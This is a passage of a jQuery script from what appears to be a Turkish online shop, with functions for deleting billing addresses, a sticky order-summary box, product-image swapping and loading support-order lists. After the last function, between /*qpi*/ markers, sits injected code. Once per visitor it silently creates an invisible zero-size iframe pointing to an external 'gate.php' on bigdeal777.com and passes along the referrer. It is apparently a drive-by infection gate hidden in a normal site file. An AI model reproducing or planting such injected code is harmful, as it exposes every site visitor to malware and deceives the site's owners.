			url: _ROOT+'/uye/fatura-adres-listesi',
			data: 'mode=del&id='+_id,
			dataType: 'json',
			beforeSend: function(){
				$i.attr('src', _ROOT2+'/images/loader3.gif');
			}, 
			success: function(response){ 
				if (response[0] == 1) {
					$('#faturaAdresList'+_id).hide();
				}
				else {
					$i.attr('src', $eski);
					alert(response[1]);
				}
			}, 
			error: function(html){ 
				$i.attr('src', $eski);
				alert('Bir hata meydana geldi! Lütfen tekrar deneyiniz.'); 
			} 
		});	
	}
}

function ozetKutusuKay()
{
	$(document).ready(function(){
		$x = $('#siparis-ozeti');
		if (jQuery.browser.msie == true && jQuery.browser.version == '6.0') {
			$y = $x.css("top");
			if ($y == 'auto')
				$y = 0;
			$y = parseInt($y) ;
			$(window).scroll(function () {   
				if ($(document).scrollTop() <= 135)				   
					offset = $y+$(document).scrollTop()+"px";
				else
					offset = $y+$(document).scrollTop()-135+"px";
				$x.animate({top:offset},{duration:400,queue:false});  
			});
		}
		else {			
			$top = $x.offset().top - parseFloat($x.css('marginTop').replace(/auto/, 0));
			$(window).scroll(function () {
				$y = $(this).scrollTop();
				if ($y >= $top) 
					$x.addClass('fixed');
				else 
					$x.removeClass('fixed');
			});
		}						   
	});
}

function resimDegistir(_no, _resim)
{
	$('div#urun-resimleri-kucuk img').removeClass('aktif-resim');
	$('img#urun-resim-'+_no).addClass('aktif-resim');
	$('#ana-urun-resmi').attr('src', _ROOT2+_resim);
}


function siparisBul(_tip, _sayfa)
{
	$(document).ready(function(){
		$.ajax({
			type: 'POST',
			url: _ROOT2+'/uye/destek-siparis-bul',
			data: 's='+_sayfa+'&tip='+_tip,
			beforeSend: function(){
				lbOff();
				lbOn();
				if (_sayfa == 0) {
					$('#destek-siparis-listesi-div').show();
					$('#destek-siparis-listesi-div2').html('<div class="mt10">siparişler yükleniyor...</div>');
				}
				else {
					$('#siparis-bul-loader').removeClass('vh');
				}
			}, 
			success: function(response){ 
				$('#destek-siparis-listesi-div2').html(response);
				siparisSec();
				if (_sayfa != 0) {
					$('#siparis-bul-loader').addClass('vh');
				}
			}, 
			error: function(html){ 
				alert('Bir hata meydana geldi! Lütfen tekrar deneyiniz.'); 
			} 
		});
	});
}


function siparisSec()
{
	$(document).ready(function(){
		$('#destek-siparis-listesi tr').hover(
			function(){t = $('td', $(this)); t.addClass('hover');},
			function(){t = $('td', $(this)); t.removeClass('hover');}
		).click(function(){
			$('input#orderId').val($(this).attr('id').substr(1));
			siparisBulKapat();
		});
	});
}

function siparisBulKapat()
{
	lbOff();
	//$('body').prepend('<div id="overlay"></div>');
	// $('#overlay2').remove();
	$('#destek-siparis-listesi-div').hide();
	$('#destek-siparis-listesi-div2').html('');	
	//$('#ticket-order-div').remove();
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=981130&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
